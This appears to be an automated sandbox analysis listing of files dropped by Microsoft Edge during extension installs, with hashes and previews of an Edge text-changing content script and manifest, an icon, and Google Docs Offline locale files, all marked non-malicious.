SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2001723260\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2001723260\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2001723260\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": 